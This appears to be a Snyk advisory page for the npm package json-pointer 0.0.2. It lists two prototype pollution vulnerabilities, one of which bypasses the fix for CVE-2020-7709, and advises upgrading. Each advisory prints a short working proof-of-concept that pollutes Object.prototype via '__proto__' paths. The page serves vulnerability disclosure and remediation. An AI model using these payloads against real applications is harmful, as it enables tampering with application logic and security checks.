Homepage

json-pointer@0.0.2 vulnerabilities

Some utilities for JSON pointers described by RFC 6901

  • latest version

    0.6.2

  • latest non vulnerable version

    0.6.2

  • first published

    12 years ago

  • latest version published

    3 years ago

  • licenses detected

  • View json-pointer package health on Snyk Advisor  (opens in a new tab)
    • Go back to all versions of this package
    Report a new vulnerability Found a mistake?

    Direct Vulnerabilities

    Known vulnerabilities in the json-pointer package. This does not include vulnerabilities belonging to this package’s dependencies.

    Fix vulnerabilities automatically

    Snyk's AI Trust Platform automatically finds the best upgrade path and integrates with your development workflows. Secure your code at zero cost.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    json-pointer is a set of utilities for JSON pointers described by RFC 6901

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7709 when the pointer components are arrays.

    PoC

    const pointer = require('json-pointer');

// pointer.set({}, ['__proto__', 'polluted'], 'yes')
// console.log(polluted) // ReferenceError: polluted is not defined

pointer.set({}, [['__proto__'], 'polluted'], 'yes')
console.log(polluted)"

    How to fix Prototype Pollution?

    Upgrade json-pointer to version 0.6.2 or higher.

    <0.6.2
    • M
    Prototype Pollution

    json-pointer is a set of utilities for JSON pointers described by RFC 6901

    Affected versions of this package are vulnerable to Prototype Pollution. Multiple reference of object using slash is supported.

    PoC

    var pointer = require('json-pointer');

var obj = {};
pointer.set(obj, '/__proto__/polluted', true);

console.log(polluted); // true

    How to fix Prototype Pollution?

    Upgrade json-pointer to version 0.6.1 or higher.

    <0.6.1
    Go back to all versions of this package